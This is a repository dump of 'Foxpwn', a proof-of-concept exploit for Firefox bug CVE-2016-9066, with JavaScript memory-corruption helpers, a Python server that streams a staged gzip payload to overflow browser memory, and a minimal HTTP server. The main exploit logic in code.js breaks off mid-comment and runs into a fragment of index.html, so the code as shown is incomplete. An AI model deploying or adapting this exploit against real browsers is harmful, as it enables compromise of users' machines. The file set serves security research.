├── README.md ├── code.js ├── index.html ├── poc.py └── server.py /README.md: -------------------------------------------------------------------------------- 1 | # Foxpwn 2 | 3 | Proof-of-Concept exploit for CVE-2016-9066. Find a detailed writeup [here](https://saelo.github.io/posts/firefox-script-loader-overflow.html). 4 | -------------------------------------------------------------------------------- /code.js: -------------------------------------------------------------------------------- 1 | // 2 | // Proof-of-Concept exploit for CVE-???-??? 3 | // 4 | // Essentially, the bug allows us to overflow a 8GB memory region with more or less controlled data. 5 | // We use that to corrupt the free list of an Arena (a structure containing JSObject instances) 6 | // and with that force a newly allocated ArrayBuffer object to be placed inside the inline data 7 | // of another ArrayBuffer object. This gives us an arbitrary read+write primitive. 8 | // 9 | 10 | // 11 | // Utility stuff. 12 | // 13 | 14 | const KB = 0x400; 15 | const MB = 0x100000; 16 | const GB = 0x40000000; 17 | 18 | // Return the hexadecimal representation of the given byte. 19 | function hex(b) { 20 | return ('0' + b.toString(16)).substr(-2); 21 | } 22 | 23 | // Return the hexadecimal representation of the given byte array. 24 | function hexlify(bytes) { 25 | var res = []; 26 | for (var i = 0; i < bytes.length; i++) 27 | res.push(hex(bytes[i])); 28 | 29 | return res.join(''); 30 | } 31 | 32 | // Return the binary data represented by the given hexdecimal string. 33 | function unhexlify(hexstr) { 34 | if (hexstr.length % 2 == 1) 35 | throw new TypeError("Invalid hex string"); 36 | 37 | var bytes = new Uint8Array(hexstr.length / 2); 38 | for (var i = 0; i < hexstr.length; i += 2) 39 | bytes[i/2] = parseInt(hexstr.substr(i, 2), 16); 40 | 41 | return bytes; 42 | } 43 | 44 | function hexdump(data) { 45 | if (typeof data.BYTES_PER_ELEMENT !== 'undefined') 46 | data = Array.from(data); 47 | 48 | var lines = []; 49 | for (var i = 0; i < data.length; i += 16) { 50 | var chunk = data.slice(i, i+16); 51 | var parts = chunk.map(hex); 52 | if (parts.length > 8) 53 | parts.splice(8, 0, ' '); 54 | lines.push(parts.join(' ')); 55 | } 56 | 57 | return lines.join('\n'); 58 | } 59 | 60 | function print(msg) { 61 | console.log(msg); 62 | document.body.innerText += msg + '\n'; 63 | } 64 | 65 | // Tell the server that we have completed our next step and wait 66 | // for it to completes its next step. 67 | function synchronize() { 68 | var xhr = new XMLHttpRequest(); 69 | xhr.open('GET', location.origin + '/sync', false); 70 | // Server will block until the event has been fired 71 | xhr.send(); 72 | } 73 | 74 | // 75 | // Datatype to represent 64-bit integers. 76 | // 77 | // Internally, the integer is stored as a Uint8Array in little endian byte order. 78 | function Int64(v) { 79 | // The underlying byte array. 80 | var bytes = new Uint8Array(8); 81 | 82 | switch (typeof v) { 83 | case 'number': 84 | v = '0x' + Math.floor(v).toString(16); 85 | case 'string': 86 | if (v.startsWith('0x')) 87 | v = v.substr(2); 88 | if (v.length % 2 == 1) 89 | v = '0' + v; 90 | 91 | var bigEndian = unhexlify(v, 8); 92 | bytes.set(Array.from(bigEndian).reverse()); 93 | break; 94 | case 'object': 95 | if (v instanceof Int64) { 96 | bytes.set(v.bytes()); 97 | } else { 98 | if (v.length != 8) 99 | throw TypeError("Array must have excactly 8 elements."); 100 | bytes.set(v); 101 | } 102 | break; 103 | case 'undefined': 104 | break; 105 | default: 106 | throw TypeError("Int64 constructor requires an argument."); 107 | } 108 | 109 | // Return the underlying bytes of this number as array. 110 | this.bytes = function() { 111 | return Array.from(bytes); 112 | }; 113 | 114 | // Return the byte at the given index. 115 | this.byteAt = function(i) { 116 | return bytes[i]; 117 | }; 118 | 119 | // Return the value of this number as unsigned hex string. 120 | this.toString = function() { 121 | return '0x' + hexlify(Array.from(bytes).reverse()); 122 | }; 123 | 124 | // Basic arithmetic. 125 | // These functions assign the result of the computation to their 'this' object. 126 | 127 | // Decorator for Int64 instance operations. Takes care 128 | // of converting arguments to Int64 instances if required. 129 | function operation(f, nargs) { 130 | return function() { 131 | if (arguments.length != nargs) 132 | throw Error("Not enough arguments for function " + f.name); 133 | for (var i = 0; i < arguments.length; i++) 134 | if (!(arguments[i] instanceof Int64)) 135 | arguments[i] = new Int64(arguments[i]); 136 | return f.apply(this, arguments); 137 | }; 138 | } 139 | 140 | // this == other 141 | this.equals = operation(function(other) { 142 | for (var i = 0; i < 8; i++) { 143 | if (this.byteAt(i) != other.byteAt(i)) 144 | return false; 145 | } 146 | return true; 147 | }, 1); 148 | 149 | // this = -n (two's complement) 150 | this.assignNeg = operation(function neg(n) { 151 | for (var i = 0; i < 8; i++) 152 | bytes[i] = ~n.byteAt(i); 153 | 154 | return this.assignAdd(this, Int64.One); 155 | }, 1); 156 | 157 | // this = a + b 158 | this.assignAdd = operation(function add(a, b) { 159 | var carry = 0; 160 | for (var i = 0; i < 8; i++) { 161 | var cur = a.byteAt(i) + b.byteAt(i) + carry; 162 | carry = cur > 0xff | 0; 163 | bytes[i] = cur; 164 | } 165 | return this; 166 | }, 2); 167 | 168 | // this = a - b 169 | this.assignSub = operation(function sub(a, b) { 170 | var carry = 0; 171 | for (var i = 0; i < 8; i++) { 172 | var cur = a.byteAt(i) - b.byteAt(i) - carry; 173 | carry = cur < 0 | 0; 174 | bytes[i] = cur; 175 | } 176 | return this; 177 | }, 2); 178 | 179 | // this = a << 1 180 | this.assignLShift1 = operation(function lshift1(a) { 181 | var highBit = 0; 182 | for (var i = 0; i < 8; i++) { 183 | var cur = a.byteAt(i); 184 | bytes[i] = (cur << 1) | highBit; 185 | highBit = (cur & 0x80) >> 7; 186 | } 187 | return this; 188 | }, 1); 189 | 190 | // this = a >> 1 191 | this.assignRShift1 = operation(function rshift1(a) { 192 | var lowBit = 0; 193 | for (var i = 7; i >= 0; i--) { 194 | var cur = a.byteAt(i); 195 | bytes[i] = (cur >> 1) | lowBit; 196 | lowBit = (cur & 0x1) << 7; 197 | } 198 | return this; 199 | }, 1); 200 | 201 | // this = a & b 202 | this.assignAnd = operation(function and(a, b) { 203 | for (var i = 0; i < 8; i++) { 204 | bytes[i] = a.byteAt(i) & b.byteAt(i); 205 | } 206 | return this; 207 | }, 2); 208 | } 209 | 210 | // Constructs a new Int64 instance with the same bit representation as the provided double. 211 | Int64.fromJSValue = function(bytes) { 212 | bytes[7] = 0; 213 | bytes[6] = 0; 214 | return new Int64(bytes); 215 | }; 216 | 217 | // Convenience functions. These allocate a new Int64 to hold the result. 218 | 219 | // Return ~n (two's complement) 220 | function Neg(n) { 221 | return (new Int64()).assignNeg(n); 222 | } 223 | 224 | // Return a + b 225 | function Add(a, b) { 226 | return (new Int64()).assignAdd(a, b); 227 | } 228 | 229 | // Return a - b 230 | function Sub(a, b) { 231 | return (new Int64()).assignSub(a, b); 232 | } 233 | 234 | function LShift1(a) { 235 | return (new Int64()).assignLShift1(a); 236 | } 237 | 238 | function RShift1(a) { 239 | return (new Int64()).assignRShift1(a); 240 | } 241 | 242 | function And(a, b) { 243 | return (new Int64()).assignAnd(a, b); 244 | } 245 | 246 | function Equals(a, b) { 247 | return a.equals(b); 248 | } 249 | 250 | // Some commonly used numbers. 251 | Int64.Zero = new Int64(0); 252 | Int64.One = new Int64(1); 253 | 254 | // 255 | // Main exploit logic. 256 | // 257 | // 0. Insert a 11 | 12 | 13 | Pwning, please wait...
14 | 15 | 16 | -------------------------------------------------------------------------------- /poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Implements the server-side logic of the exloit. 4 | # 5 | # Copyright (c) 2016 Samuel Groß 6 | # 7 | 8 | import asyncio 9 | import zlib 10 | import os.path 11 | 12 | from server import * 13 | 14 | HOST = '127.0.0.1' 15 | HOST = '0.0.0.0' 16 | PORT = 8000 17 | LOOP = asyncio.get_event_loop() 18 | 19 | server_done_event = asyncio.Event(loop=LOOP) 20 | script_ready_event = asyncio.Event(loop=LOOP) 21 | 22 | 23 | KB = 1024 24 | MB = 1024 * KB 25 | GB = 1024 * MB 26 | 27 | # Created by construct_payload() 28 | payload_parts = [] 29 | 30 | def construct_payload(): 31 | """Generates the compressed payload. 32 | 33 | This function generates multiple parts of the payload. Concatenating these parts and decompressing 34 | the result will yield a 4GB + len(overflow_data) chunk. 35 | The parts are generated such that sending one chunk will trigger a realloc() in the browser. 36 | The last part contains the final byte of the 4GB chunk and the overflow_data. 37 | """ 38 | compressor = zlib.compressobj(level=1, wbits=31) # include gzip header + trailer 39 | parts = [] 40 | 41 | def add_part(size): 42 | payload = bytearray() 43 | payload += compressor.compress(bytearray(size)) 44 | payload += compressor.flush(zlib.Z_FULL_FLUSH) 45 | parts.append(payload) 46 | return size 47 | 48 | # Send (total sizes): 1 MB + 1, 2 MB + 1, 4 MB + 1, ... which are the realloc boundaries. 49 | # After every realloc, JavaScript will try to fill the now free chunk. 50 | # Do this until we've send 0xffffffff bytes of data, then build the final chunk. 51 | total_size = 512 * KB # Start with 1MB (+ 1), browser stores data as char16_t 52 | cur_size = 0 53 | final_size = 0xffffffff 54 | while cur_size < final_size: 55 | cur_size += add_part(total_size + 1 - cur_size) 56 | total_size = min(2 * total_size, final_size - 1) 57 | 58 | # UTF-8 for 0xa0, which is the offset of the inline data of the first ArrayBuffer in an arena. See code.js 59 | overflow_data = b'\xc2\xa0' * 2 60 | 61 | payload = bytearray() 62 | payload += compressor.compress(b'\x00' + overflow_data) 63 | payload += compressor.flush() 64 | parts.append(payload) 65 | 66 | return parts 67 | 68 | 69 | async def serve_payload_js(request, response): 70 | # (Optional) wait a short while for the browser to finish initialization 71 | await asyncio.sleep(2.5) 72 | 73 | payload_len = sum(map(len, payload_parts)) 74 | 75 | print("Total size of compressed payload: {} bytes".format(payload_len)) 76 | 77 | assert('gzip' in request.headers.get('Accept-Encoding', '')) 78 | response.send_header(200, { 79 | 'Content-Type': 'application/javascript; charset=utf-8', 80 | 'Content-Length': str(payload_len), 81 | 'Content-Encoding': 'gzip' 82 | }) 83 | 84 | for i, part in enumerate(payload_parts[:-1]): 85 | print("Waiting for JavaScript...") 86 | await script_ready_event.wait() 87 | script_ready_event.clear() 88 | 89 | response.write(part) 90 | await response.drain() 91 | 92 | # Give the browser some time to decompress (more or less arbitrary delays) 93 | # Could try to improve this by measuring CPU usage in JavaScript or something like that... 94 | print("Payload sent, waiting a short while...") 95 | await asyncio.sleep(0.5) 96 | if i > 10: 97 | await asyncio.sleep(2) 98 | 99 | # Browser will (hopefully) have realloc'ed the current chunk by now. Let JavaScript 100 | # take the freed chunk now. 101 | print("Waiting for JavaScript...") 102 | server_done_event.set() 103 | 104 | # Wait for JavaScript to allocate something to overflow into 105 | await script_ready_event.wait() 106 | script_ready_event.clear() 107 | 108 | # Trigger the overflow 109 | print("Sending remaining payload data...") 110 | response.write(payload_parts[-1]) 111 | await response.drain() 112 | await asyncio.sleep(0.1) 113 | 114 | server_done_event.set() 115 | 116 | async def sync(request, response): 117 | script_ready_event.set() 118 | await server_done_event.wait() 119 | server_done_event.clear() 120 | 121 | response.send_header(200, { 122 | 'Content-Type': 'text/plain; charset=utf-8', 123 | 'Content-Length': '2' 124 | }) 125 | 126 | response.write(b'OK') 127 | await response.drain() 128 | 129 | ROUTES = { 130 | '/': serve_file('index.html', 'text/html; charset=utf-8'), 131 | '/payload.js': serve_payload_js, 132 | '/code.js': serve_file('code.js', 'application/javascript; charset=utf-8'), 133 | '/sync': sync, 134 | } 135 | 136 | # 137 | # Main 138 | # 139 | 140 | def main(): 141 | print("Constructing payload...") 142 | global payload_parts 143 | payload_parts = construct_payload() 144 | 145 | server = HTTPServer(HOST, PORT, ROUTES, LOOP) 146 | server.run_forever() 147 | 148 | if __name__ == '__main__': 149 | main() 150 | -------------------------------------------------------------------------------- /server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Minimalistic webserver using asyncio. 4 | # 5 | # Copyright (c) 2016 Samuel Groß 6 | # 7 | 8 | import asyncio 9 | 10 | # 11 | # HTTP Server 12 | # 13 | 14 | HTTP_PHRASES = { 15 | 100: "Continue", 16 | 101: "Switching Protocols", 17 | 200: "OK", 18 | 201: "Created", 19 | 202: "Accepted", 20 | 203: "Non-Authoritative Information", 21 | 204: "No Content", 22 | 205: "Reset Content", 23 | 206: "Partial Content", 24 | 300: "Multiple Choices", 25 | 301: "Moved Permanently", 26 | 302: "Found", 27 | 303: "See Other", 28 | 304: "Not Modified", 29 | 305: "Use Proxy", 30 | 307: "Temporary Redirect", 31 | 400: "Bad Request", 32 | 401: "Unauthorized", 33 | 402: "Payment Required", 34 | 403: "Forbidden", 35 | 404: "Not Found", 36 | 405: "Method Not Allowed", 37 | 406: "Not Acceptable", 38 | 407: "Proxy Authentication Required", 39 | 408: "Request Time-out", 40 | 409: "Conflict", 41 | 410: "Gone", 42 | 411: "Length Required", 43 | 412: "Precondition Failed", 44 | 413: "Request Entity Too Large", 45 | 414: "Request-URI Too Large", 46 | 415: "Unsupported Media Type", 47 | 416: "Requested range not satisfiable", 48 | 417: "Expectation Failed", 49 | 500: "Internal Server Error", 50 | 501: "Not Implemented", 51 | 502: "Bad Gateway", 52 | 503: "Service Unavailable", 53 | 504: "Gateway Time-out", 54 | 505: "HTTP Version not supported", 55 | } 56 | 57 | class HTTPServer: 58 | """Minimalistic, stream-based HTTP server.""" 59 | # TODO add some error handling.. :) 60 | 61 | class Response: 62 | """Represents an outgoing HTTP response.""" 63 | def __init__(self, writer): 64 | self._writer = writer 65 | 66 | def start_header(self, code): 67 | resline = 'HTTP/1.1 {} {}'.format(code, HTTP_PHRASES.get(code, '')) 68 | print(" >", resline) 69 | self.write(resline + '\r\n') 70 | 71 | def end_header(self): 72 | self.add_header('Connection', 'close') 73 | self.write('\r\n') 74 | 75 | def write(self, data): 76 | if type(data) == str: 77 | data = bytes(data, 'ascii') 78 | self._writer.write(data) 79 | 80 | def add_header(self, key, value): 81 | assert('\n' not in key + value) 82 | print(" > {}: {}".format(key, value)) 83 | self.write(key + ': ' + value + '\r\n') 84 | 85 | def send_header(self, code, headers): 86 | self.start_header(code) 87 | for key, value in headers.items(): 88 | self.add_header(key, value) 89 | self.end_header() 90 | 91 | async def drain(self): 92 | await self._writer.drain() 93 | 94 | class Request: 95 | """Represents an incoming HTTP request.""" 96 | def __init__(self, peer, method, path, version, headers, reader): 97 | self.peer = peer 98 | self.method = method 99 | self.path = path 100 | self.version = version 101 | self.headers = headers 102 | self.reader = reader 103 | 104 | def __str__(self): 105 | s = "Request from {}\n".format(self.peer) 106 | s += " < {} {} {}\n".format(self.method, self.path, self.version) 107 | for key, value in self.headers.items(): 108 | s += " < {}: {}\n".format(key, value) 109 | return s 110 | 111 | def __init__(self, host, port, routes, loop): 112 | self._coro = asyncio.start_server(self.handle_client, host, port, loop=loop) 113 | self._loop = loop 114 | self._routes = routes 115 | 116 | async def send_404(self, request, response): 117 | response.send_header(404, { 118 | 'Content-Length': '0' 119 | }) 120 | 121 | async def receive_header(self, reader, writer): 122 | header = await reader.readuntil(b'\r\n\r\n') 123 | headers = header.rstrip().split(b'\r\n') 124 | 125 | # Extract request line 126 | # TODO handle GET parameters etc. 127 | reqline = headers[0].decode('ascii').rstrip().split(' ') 128 | method, path, version = reqline 129 | 130 | # Extract remaining headers 131 | headers = dict(line.decode('ascii').split(': ') for line in headers[1:]) 132 | 133 | peer = writer.get_extra_info('peername') 134 | return self.Request(peer, method, path, version, headers, reader) 135 | 136 | async def handle_client(self, reader, writer): 137 | response = self.Response(writer) 138 | request = await self.receive_header(reader, writer) 139 | print(request) 140 | 141 | handler = self._routes.get(request.path, self.send_404) 142 | await handler(request, response) 143 | 144 | await writer.drain() 145 | writer.close() 146 | 147 | def run_forever(self): 148 | server = self._loop.run_until_complete(self._coro) 149 | 150 | # Serve requests until Ctrl+C is pressed 151 | print("Serving on {}".format(server.sockets[0].getsockname())) 152 | try: 153 | self._loop.run_forever() 154 | except KeyboardInterrupt: 155 | pass 156 | 157 | # Close the server 158 | server.close() 159 | self._loop.run_until_complete(server.wait_closed()) 160 | self._loop.close() 161 | 162 | 163 | # 164 | # Request handlers 165 | # 166 | 167 | def serve_file(path, ctype): 168 | async def coro(request, response): 169 | with open(path, 'rb') as f: 170 | content = f.read() 171 | 172 | response.send_header(200, { 173 | 'Content-Length':str(len(content)), 174 | 'Content-Type': ctype 175 | }) 176 | 177 | response.write(content) 178 | 179 | return coro 180 | --------------------------------------------------------------------------------